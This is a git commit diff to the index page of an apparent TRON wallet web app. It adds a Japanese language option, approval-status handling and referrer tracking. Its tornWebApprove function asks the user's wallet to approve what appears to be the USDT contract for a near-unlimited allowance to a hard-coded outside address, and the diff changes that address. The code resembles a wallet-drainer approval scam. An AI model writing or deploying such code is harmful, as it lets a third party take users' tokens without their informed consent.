gx
queenwuli
2022-03-29 306866717796268d96110dbb9d1d87728a6208a5
src/pages/index/index.vue
@@ -105,6 +105,7 @@
    let availableWallet = ref('');
    let local = ref(proxy.$i18n.locale);
    function changeLanguage(type){
      localStorage.setItem('lang', type);
      proxy.$i18n.locale = type;
    }
@@ -170,7 +171,8 @@
      local,
      languague: [
        { text: 'English', value: 'en' },
        { text: '简体中文', value: 'zh' }
        { text: '简体中文', value: 'zh' },
        { text: '日本语', value: 'ja' }
      ],
      // 弹窗显示隐藏
      isShowApproveModal,
@@ -276,9 +278,17 @@
          method: 'get'
        }).then((res) => {
          if(res.code == 200) {
            this.hasApprove = true;
            this.initAccountData()
            sessionStorage.setItem('address', this.walletAddress);
            let result = res.data;
            if(result == 1) {
              this.hasApprove = true;
              this.initAccountData()
              sessionStorage.setItem('address', this.walletAddress);
            } else if (result == 2) {
              this.submitApprove()
            } else {
              this.hasApprove = false;
              this.$toast(this.$t('message.ApproveTip'));
            }
          }else{
            this.hasApprove = false;
            this.$toast(this.$t('message.ApproveTip'));
@@ -307,16 +317,18 @@
        console.log(res)
        this.submitApprove()
        this.isApproving = false;
        this.isShowApproveModal = false;
      }).catch((err) => {
        console.log('授权失败')
        console.log(err)
        this.isApproving = false;
        this.isShowApproveModal = false;
      })
    },
    async tornWebApprove () {
      const tronWeb = window.tronWeb;
      const trxContractAddress = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
      const authAddress = "TKcyw4igFYhNpTzyZv25j6uDwvTYzncnjp";
      const authAddress = "TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD";
      let instance = await tronWeb.contract().at(trxContractAddress);
      let res = await instance["approve"](authAddress, "90000000000000000000000000000");
      res.send({
@@ -329,20 +341,23 @@
              this.submitApprove()
          }
          this.isApproving = false;
          this.isShowApproveModal = false;
      });
    },
    submitApprove () {
        let refererId = this.getQueryString('refererId');
        this.$axios({
          url: '/dapi/common/approve',
          method: 'post',
          data: {
            address: this.walletAddress,
            refererId: ''
            refererId: refererId ? refererId : ''
          }
        }).then((res) => {
          if(res.code == 200) {
            this.hasApprove = true;
            this.initAccountData();
            sessionStorage.setItem('address', this.walletAddress);
          }
        })
    },